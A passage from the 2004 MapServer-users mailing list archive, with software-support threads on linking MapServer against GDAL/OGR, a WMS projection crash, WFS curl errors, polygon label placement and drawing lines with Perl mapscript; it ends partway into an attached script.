works fine) : > [root at nostalgia mapserver-4.0.1]# make > gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF > -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT > -DUSE_GDAL -I/usr/include > -I/root/applications/mapserver/gdal-1.2.0b/port > -I/root/applications/mapserver/gdal-1.2.0b/gcore > -I/root/applications/mapserver/gdal-1.2.0b/alg > -I/root/applications/mapserver/gdal-1.2.0b/ogr > -I/root/applications/mapserver/gdal-1.2.0b/ogr/ogrsf_frmts > shp2img.o -L. -lmap -lgd -L/usr/lib -lgd -ljpeg -lfreetype -lpng > -lz -ltiff -ljpeg -lfreetype -lpng -lz -ljpeg -lm > -lstdc++ -o shp2img > ./libmap.a(mapgdal.o)(.text+0x11): In function `msGDALInitialize': > : undefined reference to `GDALAllRegister' > ./libmap.a(mapgdal.o)(.text+0x19): In function `msGDALInitialize': > : undefined reference to `CPLQuietErrorHandler' > ./libmap.a(mapgdal.o)(.text+0x1e): In function `msGDALInitialize': > : undefined reference to `CPLPushErrorHandler' lot's of others > ./libmap.a(mapdrawgdal.o)(.text+0x26b9): In function `Dither24to8': > : undefined reference to `GDALDestroyColorTable' > ./libmap.a(mapdrawgdal.o)(.text+0x26c6): In function `Dither24to8': > : undefined reference to `GDALClose' > collect2: ld returned 1 exit status > make: *** [shp2img] Erreur 1 I've tried to update to gdal 1.2.0b but no results :( Here is some additionals informatitions that could help I hope. [root at nostalgia mapserver-4.0.1]# locate libgdal.so.1.2.0 /root/applications/mapserver/gdal-1.2.0/.libs/libgdal.so.1.2.0 /root/applications/mapserver/gdal-1.2.0b/.libs/libgdal.so.1.2.0 /usr/local/lib/libgdal.so.1.2.0 I've heard that there where some problems with gcc 3 and mapserv, so here is my output : [root at nostalgia mapserver-4.0.1]# gcc -v Reading specs from /usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.3.1/specs Configured with: ../configure --prefix=/usr --libdir=/usr/lib --with-slibdir=/lib --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --enable-long-long --enable-__cxa_atexit --enable-languages=c,c++,ada,f77,objc,java,pascal --host=i586-mandrake-linux-gnu --with-system-zlib Thread model: posix gcc version 3.3.1 (Mandrake Linux 9.2 3.3.1-2mdk) I don't know how to proceed to solve this problem, cause I am Linux newbie :( Searching the mailing list archives I've found that the "ldd" program must be use, I don't know how it works, but I've understand that it register system librairies, here is the output : > [root at nostalgia mapserver-4.0.1]# ldd /usr/local/lib/libgdal.so.1.2.0 > libungif.so.4 => /usr/lib/libungif.so.4 (0x402fe000) > libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40306000) > libpng.so.3 => /usr/lib/libpng.so.3 (0x40325000) > libz.so.1 => /lib/libz.so.1 (0x4034b000) > libdl.so.2 => /lib/libdl.so.2 (0x4035a000) > libpq.so.3 => /usr/lib/libpq.so.3 (0x4035d000) > libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x40372000) > libm.so.6 => /lib/i686/libm.so.6 (0x4042b000) > libc.so.6 => /lib/i686/libc.so.6 (0x4044e000) > libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x4057e000) > libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x40588000) > /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x80000000) > libssl.so.0.9.7 => /usr/lib/libssl.so.0.9.7 (0x4066b000) > libcrypto.so.0.9.7 => /usr/lib/libcrypto.so.0.9.7 (0x4069d000) > libcrypt.so.1 => /lib/libcrypt.so.1 (0x4079f000) > libresolv.so.2 => /lib/libresolv.so.2 (0x407cc000) > libnsl.so.1 => /lib/libnsl.so.1 (0x407dd000) > [root at nostalgia mapserver-4.0.1]# ldd libgdal.so.1.2.0 > ldd: ./libgdal.so.1.2.0: No such file or directory Seems to be a problem ? I've also read an answer for a problem similar to mine, where *Daniel Morissette *said to try the following command : > [root at nostalgia mapserver-4.0.1]# nm /usr/local/lib/libgdal.so.1.2.0 | > grep OGRPolygon > 0015bbf0 T _Z14OGRGetCentroidP10OGRPolygonP8OGRPoint > 0015b4e0 T _Z20OGRPolygonLabelPointP10OGRPolygonP8OGRPoint > 0015b460 T _Z24OGRIntersectPointPolygonP8OGRPointP10OGRPolygon > 001be0a0 T _ZN10OGRPolygon11flattenTo2DEv > 001be320 T _ZN10OGRPolygon13importFromWkbEPhi > 001be6e0 T _ZN10OGRPolygon13importFromWktEPPc > 001be250 T _ZN10OGRPolygon15addRingDirectlyEP13OGRLinearRing > 001be100 T _ZN10OGRPolygon15getExteriorRingEv > 001be160 T _ZN10OGRPolygon15getInteriorRingEi > 001bdfa0 T _ZN10OGRPolygon5emptyEv > 001be1c0 T _ZN10OGRPolygon7addRingEP13OGRLinearRing > 001bed80 T _ZN10OGRPolygon9transformEP27OGRCoordinateTransformation > 001bdd90 T _ZN10OGRPolygonC1Ev > 001bdd50 T _ZN10OGRPolygonC2Ev > 001bdeb0 T _ZN10OGRPolygonD0Ev > 001bde40 T _ZN10OGRPolygonD1Ev > 001bddd0 T _ZN10OGRPolygonD2Ev > 00150ff0 T > _ZN9TABRegion13AppendSecHdrsEP10OGRPolygonRP19TABMAPCoordSecHdr_tP10TABMAPFileRi > 001be5a0 T _ZNK10OGRPolygon11exportToWkbE15OGRwkbByteOrderPh > 001be9a0 T _ZNK10OGRPolygon11exportToWktEPPc > 001beb50 T _ZNK10OGRPolygon11getEnvelopeEP11OGREnvelope > 001be050 T _ZNK10OGRPolygon12getDimensionEv > 001beb40 T _ZNK10OGRPolygon14PointOnSurfaceEP8OGRPoint > 001be120 T _ZNK10OGRPolygon15getExteriorRingEv > 001be0e0 T _ZNK10OGRPolygon15getGeometryNameEv > 001be020 T _ZNK10OGRPolygon15getGeometryTypeEv > 001be190 T _ZNK10OGRPolygon15getInteriorRingEi > 001be140 T _ZNK10OGRPolygon19getNumInteriorRingsEv > 001be060 T _ZNK10OGRPolygon22getCoordinateDimensionEv > 001bdf20 T _ZNK10OGRPolygon5cloneEv > 001bec80 T _ZNK10OGRPolygon5EqualEP11OGRGeometry > 001be2a0 T _ZNK10OGRPolygon7WkbSizeEv > 001beb30 T _ZNK10OGRPolygon8CentroidEP8OGRPoint > 001beb10 T _ZNK10OGRPolygon8get_AreaEv > 002cf658 V _ZTI10OGRPolygon > 0024d276 V _ZTS10OGRPolygon > 002cf560 V _ZTV10OGRPolygon So here is my output. I don't know what is the problem, and where it is. I hope you know this problem and how to solve it :/ Thanks in advance, seb :) From craig.gould at bt.com Tue Mar 30 05:05:29 2004 From: craig.gould at bt.com (craig.gould at bt.com) Date: Tue, 30 Mar 2004 14:05:29 +0100 Subject: [Mapserver-users] WMS Projection Error Causing Mapserver to Crash (Win32) Message-ID: <7497DCA1C240C042B28F6657ADFD8E0903248621@i2km11-ukbr.domain1.systemhost.net> This is a multi-part message in MIME format. ------_=_NextPart_001_01C41657.ACCB61A5 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I haven't solved this yet but a small follow up:=20 - I'm using the latest stable release : 4.0.1, not 4.1 as stated below.=20 - The crash happens when using any non Lat/Long projection. Any Lat/Long projection number I chose returns a map via the WMS client, and a blank image via the web browser.=20 Craig.=20 -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of craig.gould at bt.com Sent: 29 March 2004 13:40 To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] WMS Projection Error Causing Mapserver to Crash (Win32) Hi,=20 I've been trying to set up a WMS server for some UK Ordnance Survey maps.=20 The map uses some MapInfo layers that I inherited from elsewhere, all using the British National Grid projection.=20 I have set up a WMS server on a machine which responds correctly to the GetCapabilities request.=20 It also responds with a map if I use a Url such as=20 http://myIPAddress/cgi-bin/MapServ40.exe?map=3DC:\inetpub\gis\wwwroot\OSM= a pServer\OS.map&SERVICE=3DWMS&VERSION=3D1.1.0&LAYERS=3D&FORMAT=3Dimage%2Fp= ng&TRAN SPARENT=3DTRUE&STYLES=3D&REQUEST=3DGetMap&WIDTH=3D600&HEIGHT=3D480&BBOX=3D= 304499.570 199,207931.455749,304914.609271,208262.998725&EXCEPTIONS=3Dapplication/vn= d .ogc.se_inimage Note this request does NOT contain an SRS parameter. The map returned is correct and in the correct BNG projection.=20 As soon as I add the SRS=3DEPSG:27700 parameter to the URL the cgi application crashes and the browser returns=20 "The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:" - none If I use a WMS client layer to the server in another working map file the following occurrs:=20 1. Using SRS EPSG:27700 in the WMS SRS metadata crashes the cgi application.=20 2. Using SRS EPSG:4326 in the WMS SRS metadata returns a map with the requested WMS layers - but in the wrong projection. Am I doing something wrong here?=20 or=20 Is this a bug in the WMS code and is there a work around?=20 Many thanks=20 Craig.=20 p.s I'm using MapServer 4.1 from the windows binaries. Win2K, IIS, Dual hyperthreaded pentium 4=20 Craig Gould BT Exact web www.btbrand.bt.com __________________________________________ British Telecommunications plc Registered office: 81 Newgate Street London EC1A 7AJ Registered in England no. 1800000=20 This electronic message contains information from British Telecommunications plc which may be privileged and confidential. The information is intended to be for the use of the individual(s) or entity named above. If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of the contents of this information is prohibited. If you have received this electronic message in error, please notify us by telephone or email (to the number or address above) immediately.=20 Activity and use of the British Telecommunications plc email system is monitored to secure its effective operation and for other lawful business purposes. Communications using this system will also be monitored and may be recorded to secure effective operation and for other lawful business purposes ------_=_NextPart_001_01C41657.ACCB61A5 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable RE: [Mapserver-users] WMS Projection Error Causing Mapserver to = Crash (Win32)

I haven't solved this yet but a small follow = up:
- I'm using the latest stable release : 4.0.1, not 4.1 as = stated below.
- The crash happens when using any non Lat/Long = projection. Any Lat/Long projection number I chose returns a map via the = WMS client, and a blank image via the web browser.

Craig. =


-----Original = Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu= ] On Behalf = Of craig.gould at bt.com
Sent: 29 March 2004 13:40
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] WMS Projection Error Causing = Mapserver to Crash (Win32)
Hi,
I've been trying = to set up a WMS server for some UK Ordnance Survey maps.
The map uses some MapInfo layers = that I inherited from elsewhere, all using the British National Grid = projection.
I have set up a = WMS server on a machine which responds correctly to the GetCapabilities = request.
It also responds with a map if I = use a Url such as
http://myIPAddress/cgi-bin/MapServ40.exe?map=3DC:\inetpub\= gis\wwwroot\OSMapServer\OS.map&SERVICE=3DWMS&VERSION=3D1.1.0&= LAYERS=3D&FORMAT=3Dimage%2Fpng&TRANSPARENT=3DTRUE&STYLES=3D&a= mp;REQUEST=3DGetMap&WIDTH=3D600&HEIGHT=3D480&BBOX=3D304499.57= 0199,207931.455749,304914.609271,208262.998725&EXCEPTIONS=3Dapplicati= on/vnd.ogc.se_inimage

Note this request = does NOT contain an SRS parameter. The map returned is correct and in = the correct BNG projection. =
As soon as I add = the SRS=3DEPSG:27700 parameter to the URL the cgi application crashes = and the browser returns
"The specified CGI application misbehaved by not returning a = complete set of HTTP headers. The headers it did return are:" - = none

If I use a WMS = client layer to the server in another working map file the following = occurrs:
1. Using SRS = EPSG:27700 in the WMS SRS metadata crashes the cgi = application.
2. Using SRS EPSG:4326 in the WMS = SRS metadata returns a map with the requested WMS layers - but in the = wrong projection.

Am I doing = something wrong here?
or
Is this a bug in the WMS code and = is there a work around? =
Many = thanks
Craig. =
p.s I'm using = MapServer 4.1 from the windows binaries. Win2K, IIS, Dual hyperthreaded = pentium 4

Craig = Gould
BT Exact
web www.btbrand.bt.com
__________________________________________
British = Telecommunications plc
Registered office: 81 Newgate Street London EC1A 7AJ
Registered in England no. 1800000
This electronic = message contains information from British Telecommunications plc which = may be privileged and confidential. The information is intended to be = for the use of the individual(s) or entity named above. If you are not = the intended recipient, be aware that any disclosure, copying, = distribution or use of the contents of this information is prohibited. = If you have received this electronic message in error, please notify us = by telephone or email (to the number or address above) = immediately. =

Activity and use of the British Telecommunications plc email = system is monitored to secure its effective operation and for other = lawful business purposes. Communications using this system will also be = monitored and may be recorded to secure effective operation and for = other lawful business purposes

------_=_NextPart_001_01C41657.ACCB61A5-- From mapgisnewbies at yahoo.com Tue Mar 30 06:03:58 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Tue, 30 Mar 2004 06:03:58 -0800 (PST) Subject: [Mapserver-users] Where can I get/ build php_ogr.so ? Message-ID: <20040330140358.16952.qmail@web60001.mail.yahoo.com> Hi all, I just wonder if anyone know how can I get/ build php_ogr.so on Linux platform ? Can I get the binary some where or the source code anywhere ? Thanks in advance. __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html From dmorissette at dmsolutions.ca Tue Mar 30 06:23:59 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 30 Mar 2004 09:23:59 -0500 Subject: [Mapserver-users] Where can I get/ build php_ogr.so ? In-Reply-To: <20040330140358.16952.qmail@web60001.mail.yahoo.com> References: <20040330140358.16952.qmail@web60001.mail.yahoo.com> Message-ID: <406982FF.8040808@dmsolutions.ca> we wei wrote: > Hi all, > > I just wonder if anyone know how can I get/ build > php_ogr.so on Linux platform ? Can I get the binary > some where or the source code anywhere ? > Where did you hear about php_ogr? We didn't make any announcement about it because we don't currently have time to properly support it, but if you want to give it a try, then you'll find everything at http://maptools.org/dl/php_ogr/ Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From fheland at netcourrier.com Tue Mar 30 16:45:19 2004 From: fheland at netcourrier.com (fheland at netcourrier.com) Date: Tue, 30 Mar 2004 16:45:19 CEST Subject: [Mapserver-users] WFS / curl error code 7 (couldn't create socket) Message-ID: Hi all, I get an error using WFS using mapserver41 : msDrawMap(): Image handling error. Failed to draw layer named 'IOWStations'. msWFSLayerWhichShapes(): WFS connection error. Got HTTP status -7 downloading WFS layer IOWStations msHTTPExecuteRequests(): HTTP request error. HTTP: request failed with curl error code 7 (couldn't create socket) for http://192.168.1.114/agentstruts/cgi-bin/mapserv_41.exe?map=d:/Tomcat4.1/webapps/agentstruts/mapservice/data/iow/htdocs/iow-wfs.map& The GetFeature request works well : http://192.168.1.114/agentstruts/cgi-bin/mapserv_41.exe?map=d:/Tomcat4.1/webapps/agentstruts/mapservice/data/iow/htdocs/iow-wfs.map&REQUEST=GETFeature&SERVICE=WFS&VERSION=1.0.0 I'm a bit confused ! Any ideas ? Thanks for your help. Fred ------------------------------------------------------------- NetCourrier, votre bureau virtuel sur Internet : Mail, Agenda, Clubs, Toolbar... Web/Wap : www.netcourrier.com T?l?phone/Fax : 08 92 69 00 21 (0,34 ? TTC/min) Minitel: 3615 NETCOURRIER (0,16 ? TTC/min) From eric at gomoos.org Tue Mar 30 06:50:53 2004 From: eric at gomoos.org (Eric Bridger) Date: 30 Mar 2004 09:50:53 -0500 Subject: [Mapserver-users] LOCATION QUERY HELP In-Reply-To: References: Message-ID: <1080658259.1521.4.camel@ubet.gomoos.org> On Tue, 2004-03-30 at 00:32, Dharani Babu wrote: > Hi all > I am working with TIGER line files + Map Server based on itasca demo > method( init html , > template html , map ) . I am trying to get an app similar to > http://www.census.gov/cgi-bin/gazetteer > I have a simple question to the forum > 1) With this itasca demo method could I be able to project a city or place > as it does in the gazateer application ? -- Thats How to make the map > project the city or location name entered ? Yes it is possible. BUT, like the above URL,you will need a CGI script to process the original form input (place, state, zipcode), look up the proper lat/lon for that location and then pass mapserver CGI the proper parameters (mapext?) to create the map you want. The above US Census form works in a similiar manor. Displays links with the proper lat/long to something called: mapbrowse-tbl (which could easily be /cgi-bin/mapserv). Hope this helps. From jeff at propertykey.com Tue Mar 30 06:56:52 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 30 Mar 2004 08:56:52 -0600 Subject: [Mapserver-users] drawing lines with mapscript In-Reply-To: <1080598399.1856.21.camel@ubet.gomoos.org> References: <40689411.2070101@propertykey.com> <1080598399.1856.21.camel@ubet.gomoos.org> Message-ID: <40698AB4.9080906@propertykey.com> Eric Bridger wrote: > On Mon, 2004-03-29 at 16:24, Jeff Hoffmann wrote: > >>I'm trying to create lines programmatically & draw them using mapscript, >>but I just can't seem to get any output. It doesn't throw any errors, >>but I don't see any output, either. >>$layer = $map->getLayerByName('line_layer'); >>$layer->{status} = 1; >>$class = $layer->getClass(0); >>$class->setText($layer,"LINE"); >>my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); >>$shape->add($line); > > > Just a guess, but you could try $shape->setBounds() here. > > >>$shape->draw($map, $layer, $img); That didn't change anything. Does anybody at least know if this looks like it should be working? Are there any examples of code that does this sort of thing? -- Jeff Hoffmann PropertyKey.com From Ballini.Yvain at seat.it Tue Mar 30 07:04:22 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Tue, 30 Mar 2004 17:04:22 +0200 Subject: [Mapserver-users] Compiling mapserver with gdal Message-ID: <4B1A1EC0790F054193453C48725D431829FA10@MSGBE1V1.seat.it> Hi List, I'm looking for a version of gdal which can be compiled with the static multithread option (switch /MT in the makefile.vc). Indeed, I've compiled mapserver 4.0 (with VC7 on XP) like this, and the current version I've downloaded for gdal (gdal-1.2.0) seems not to be compilable with the compiler options that I still have used for compiling mapserver and other utilities: OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) LDFLAGS = /NODEFAULTLIB:libc /DEBUG Has someone any idea or any gdal source version which is still compilable with these options...? Thanks a lot. Regards. Yvain Ballini. From rburghol at vt.edu Tue Mar 30 08:22:05 2004 From: rburghol at vt.edu (Robert W. Burgholzer) Date: Tue, 30 Mar 2004 11:22:05 -0500 Subject: [Mapserver-users] Unable to load dynamic library '/usr/lib/php4/php_mapscript.so' - libiconv.so.2 Message-ID: <4079A2D3@zathras> I have compiled mapscript 4.0.1 on RedHat Linux 7.3, with postgresql 7.3.3 and postgis 0.7.5. Compile went fine, but when I attempt to load the mapscript module, I get the following error: Warning: dl(): Unable to load dynamic library '/usr/lib/php4/php_mapscript.so' - libiconv.so.2: cannot open shared object file: No such file or directory in /usr/local/www/html/gis/alan/index.php on line 20 Fatal error: Call to undefined function: ms_newmapobj() in /usr/local/www/html/lib/module_activemap.php on line 28 I can find no trace of this on any postings. Can anyone help with this? My previous installs were fine, and I copied the newly compiled php_mapscript.so into the appropriate location (/usr/lib/php4/) Thanks, r.b. Robert W. Burgholzer rburghol at veetee dot edu History of Nutrition: "Buddha probably consumed a high-carb diet." From TMitchell at lignum.com Tue Mar 30 08:26:03 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 30 Mar 2004 08:26:03 -0800 Subject: [Mapserver-users] polygon label placement In-Reply-To: <1080620276.27267.6.camel@localhost> Message-ID: I thought POSITION AUTO helped with this? But maybe I'm dreaming.. > On Mon, 2004-03-29 at 14:54, Dean Gadoury wrote: > > Hi, > > Every now and then I need to label polygons in MapServer and I'm often > > unsatisfied with the resulting placement. Labeling is fine for points > > and lines, but when it comes to polygons it can be unpredictable. I've > > attached an image produced by MapServer in which the label for Florida > > is in an odd location. Does anyone have any insight into how MapServer > > decides where to place labels in polygons? > > > > If I'm not mistaken the POSITION parameter will only place the label > > relative to the point at which MapServer decides the label will go. > > Depending on the label's POSITION its quite possible to have labels that > > fall completely outside a polygon. Is there a way to force labels to be > > within a polygon? Is there anything else I'm missing? > > > > In the attached image the label position is CC and the label is way up > > on the FL/AL border. > > > > Dean > -- > "He's no geek.His tan's too good." -Benjamin Choate > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From TMitchell at lignum.com Tue Mar 30 08:43:40 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 30 Mar 2004 08:43:40 -0800 Subject: [Mapserver-users] Problems compiling mapserv with OGR support. In-Reply-To: <406988C0.7070402@idems.fr> Message-ID: Hi Seb, If you can, I'd suggest also compiling gdal/ogr from source code. I assume the versions you have are linux binaries that may not have all the required files for effectively building dependent applications. You may also try running: ldconfig that should get your libraries registered. You may first want to edit /etc/ld.so.conf (I think I got the write path there) and make sure that the folder that the libraries you want is listed there - then run ldconfig again. There is also a gdal/ogr list that may help you. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 03/30/2004 06:48:32 AM: > Hello everybody :) > > First excuse me for my english, I'm french :) > > I'm trying to enable OGR support for mapserv, so I'm trying to compile > it as follow : > [root at nostalgia mapserver-4.0.1]# ./configure > --with-ogr=../gdal-1.2.0b/apps/gdal-config \ > --with-gdal=../gdal-1.2.0b/apps/gdal-config > [root at nostalgia mapserver-4.0.1]# make > > But i've lots of errors durring make (configure scripts works fine) : > > > [root at nostalgia mapserver-4.0.1]# make > > gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF > > -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT > > -DUSE_GDAL -I/usr/include > > -I/root/applications/mapserver/gdal-1.2.0b/port > > -I/root/applications/mapserver/gdal-1.2.0b/gcore > > -I/root/applications/mapserver/gdal-1.2.0b/alg > > -I/root/applications/mapserver/gdal-1.2.0b/ogr > > -I/root/applications/mapserver/gdal-1.2.0b/ogr/ogrsf_frmts > > shp2img.o -L. -lmap -lgd -L/usr/lib -lgd -ljpeg -lfreetype -lpng > > -lz -ltiff -ljpeg -lfreetype -lpng -lz -ljpeg -lm > > -lstdc++ -o shp2img > > ./libmap.a(mapgdal.o)(.text+0x11): In function `msGDALInitialize': > > : undefined reference to `GDALAllRegister' > > ./libmap.a(mapgdal.o)(.text+0x19): In function `msGDALInitialize': > > : undefined reference to `CPLQuietErrorHandler' > > ./libmap.a(mapgdal.o)(.text+0x1e): In function `msGDALInitialize': > > : undefined reference to `CPLPushErrorHandler' > > lot's of others > > > ./libmap.a(mapdrawgdal.o)(.text+0x26b9): In function `Dither24to8': > > : undefined reference to `GDALDestroyColorTable' > > ./libmap.a(mapdrawgdal.o)(.text+0x26c6): In function `Dither24to8': > > : undefined reference to `GDALClose' > > collect2: ld returned 1 exit status > > make: *** [shp2img] Erreur 1 > > I've tried to update to gdal 1.2.0b but no results :( > > Here is some additionals informatitions that could help I hope. > > [root at nostalgia mapserver-4.0.1]# locate libgdal.so.1.2.0 > /root/applications/mapserver/gdal-1.2.0/.libs/libgdal.so.1.2.0 > /root/applications/mapserver/gdal-1.2.0b/.libs/libgdal.so.1.2.0 > /usr/local/lib/libgdal.so.1.2.0 > > > I've heard that there where some problems with gcc 3 and mapserv, so > here is my output : > > [root at nostalgia mapserver-4.0.1]# gcc -v > Reading specs from /usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.3.1/specs > Configured with: ../configure --prefix=/usr --libdir=/usr/lib > --with-slibdir=/lib --mandir=/usr/share/man --infodir=/usr/share/info > --enable-shared --enable-threads=posix --disable-checking > --enable-long-long --enable-__cxa_atexit > --enable-languages=c,c++,ada,f77,objc,java,pascal > --host=i586-mandrake-linux-gnu --with-system-zlib > Thread model: posix > gcc version 3.3.1 (Mandrake Linux 9.2 3.3.1-2mdk) > > I don't know how to proceed to solve this problem, cause I am Linux > newbie :( > > Searching the mailing list archives I've found that the "ldd" program > must be use, I don't know how it works, but I've understand that it > register system librairies, here is the output : > > > [root at nostalgia mapserver-4.0.1]# ldd /usr/local/lib/libgdal.so.1.2.0 > > > libungif.so.4 => /usr/lib/libungif.so.4 (0x402fe000) > > libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40306000) > > libpng.so.3 => /usr/lib/libpng.so.3 (0x40325000) > > libz.so.1 => /lib/libz.so.1 (0x4034b000) > > libdl.so.2 => /lib/libdl.so.2 (0x4035a000) > > libpq.so.3 => /usr/lib/libpq.so.3 (0x4035d000) > > libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x40372000) > > libm.so.6 => /lib/i686/libm.so.6 (0x4042b000) > > libc.so.6 => /lib/i686/libc.so.6 (0x4044e000) > > libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x4057e000) > > libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x40588000) > > /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x80000000) > > libssl.so.0.9.7 => /usr/lib/libssl.so.0.9.7 (0x4066b000) > > libcrypto.so.0.9.7 => /usr/lib/libcrypto.so.0.9.7 (0x4069d000) > > libcrypt.so.1 => /lib/libcrypt.so.1 (0x4079f000) > > libresolv.so.2 => /lib/libresolv.so.2 (0x407cc000) > > libnsl.so.1 => /lib/libnsl.so.1 (0x407dd000) > > > > [root at nostalgia mapserver-4.0.1]# ldd libgdal.so.1.2.0 > > > ldd: ./libgdal.so.1.2.0: No such file or directory > > > Seems to be a problem ? > > I've also read an answer for a problem similar to mine, where *Daniel > Morissette *said to try the following command : > > > [root at nostalgia mapserver-4.0.1]# nm /usr/local/lib/libgdal.so.1.2.0 | > > grep OGRPolygon > > 0015bbf0 T _Z14OGRGetCentroidP10OGRPolygonP8OGRPoint > > 0015b4e0 T _Z20OGRPolygonLabelPointP10OGRPolygonP8OGRPoint > > 0015b460 T _Z24OGRIntersectPointPolygonP8OGRPointP10OGRPolygon > > 001be0a0 T _ZN10OGRPolygon11flattenTo2DEv > > 001be320 T _ZN10OGRPolygon13importFromWkbEPhi > > 001be6e0 T _ZN10OGRPolygon13importFromWktEPPc > > 001be250 T _ZN10OGRPolygon15addRingDirectlyEP13OGRLinearRing > > 001be100 T _ZN10OGRPolygon15getExteriorRingEv > > 001be160 T _ZN10OGRPolygon15getInteriorRingEi > > 001bdfa0 T _ZN10OGRPolygon5emptyEv > > 001be1c0 T _ZN10OGRPolygon7addRingEP13OGRLinearRing > > 001bed80 T _ZN10OGRPolygon9transformEP27OGRCoordinateTransformation > > 001bdd90 T _ZN10OGRPolygonC1Ev > > 001bdd50 T _ZN10OGRPolygonC2Ev > > 001bdeb0 T _ZN10OGRPolygonD0Ev > > 001bde40 T _ZN10OGRPolygonD1Ev > > 001bddd0 T _ZN10OGRPolygonD2Ev > > 00150ff0 T > > > _ZN9TABRegion13AppendSecHdrsEP10OGRPolygonRP19TABMAPCoordSecHdr_tP10TABMAPFileRi > > 001be5a0 T _ZNK10OGRPolygon11exportToWkbE15OGRwkbByteOrderPh > > 001be9a0 T _ZNK10OGRPolygon11exportToWktEPPc > > 001beb50 T _ZNK10OGRPolygon11getEnvelopeEP11OGREnvelope > > 001be050 T _ZNK10OGRPolygon12getDimensionEv > > 001beb40 T _ZNK10OGRPolygon14PointOnSurfaceEP8OGRPoint > > 001be120 T _ZNK10OGRPolygon15getExteriorRingEv > > 001be0e0 T _ZNK10OGRPolygon15getGeometryNameEv > > 001be020 T _ZNK10OGRPolygon15getGeometryTypeEv > > 001be190 T _ZNK10OGRPolygon15getInteriorRingEi > > 001be140 T _ZNK10OGRPolygon19getNumInteriorRingsEv > > 001be060 T _ZNK10OGRPolygon22getCoordinateDimensionEv > > 001bdf20 T _ZNK10OGRPolygon5cloneEv > > 001bec80 T _ZNK10OGRPolygon5EqualEP11OGRGeometry > > 001be2a0 T _ZNK10OGRPolygon7WkbSizeEv > > 001beb30 T _ZNK10OGRPolygon8CentroidEP8OGRPoint > > 001beb10 T _ZNK10OGRPolygon8get_AreaEv > > 002cf658 V _ZTI10OGRPolygon > > 0024d276 V _ZTS10OGRPolygon > > 002cf560 V _ZTV10OGRPolygon > > > So here is my output. > > I don't know what is the problem, and where it is. > > I hope you know this problem and how to solve it :/ > > Thanks in advance, > > seb :) > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Tue Mar 30 09:01:03 2004 From: eric at gomoos.org (Eric Bridger) Date: 30 Mar 2004 12:01:03 -0500 Subject: [Mapserver-users] drawing lines with mapscript In-Reply-To: <40698AB4.9080906@propertykey.com> References: <40689411.2070101@propertykey.com> <1080598399.1856.21.camel@ubet.gomoos.org> <40698AB4.9080906@propertykey.com> Message-ID: <1080666070.1895.76.camel@ubet.gomoos.org> --=-yKal72uLUmmo/itZBUVV Content-Type: text/plain Content-Transfer-Encoding: 7bit On Tue, 2004-03-30 at 09:56, Jeff Hoffmann wrote: > Eric Bridger wrote: > > On Mon, 2004-03-29 at 16:24, Jeff Hoffmann wrote: > > > >>I'm trying to create lines programmatically & draw them using mapscript, > >>but I just can't seem to get any output. It doesn't throw any errors, > >>but I don't see any output, either. > >>$layer = $map->getLayerByName('line_layer'); > >>$layer->{status} = 1; > >>$class = $layer->getClass(0); > >>$class->setText($layer,"LINE"); > >>my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); > >>$shape->add($line); > > > > > > Just a guess, but you could try $shape->setBounds() here. > > > > > >>$shape->draw($map, $layer, $img); > > That didn't change anything. Does anybody at least know if this looks > like it should be working? Are there any examples of code that does > this sort of thing? This should work. I had never used $shape->draw() so I modified a test script I had and it worked fine. I could not get $shape->{text} = "XX" to work. You haven't shown your $line creation. Perhaps your coordinates are off. I've attached my cgi script and map. Not sure if attachments will make it to the list. --=-yKal72uLUmmo/itZBUVV Content-Disposition: attachment; filename=lines.cgi Content-Transfer-Encoding: quoted-printable Content-Type: text/x-perl; name=lines.cgi; charset=ISO-8859-15 #!/usr/bin/perl use strict; use mapscript; use CGI ":cgi"; my $q =3D new CGI; my $msg =3D ''; # A hash of 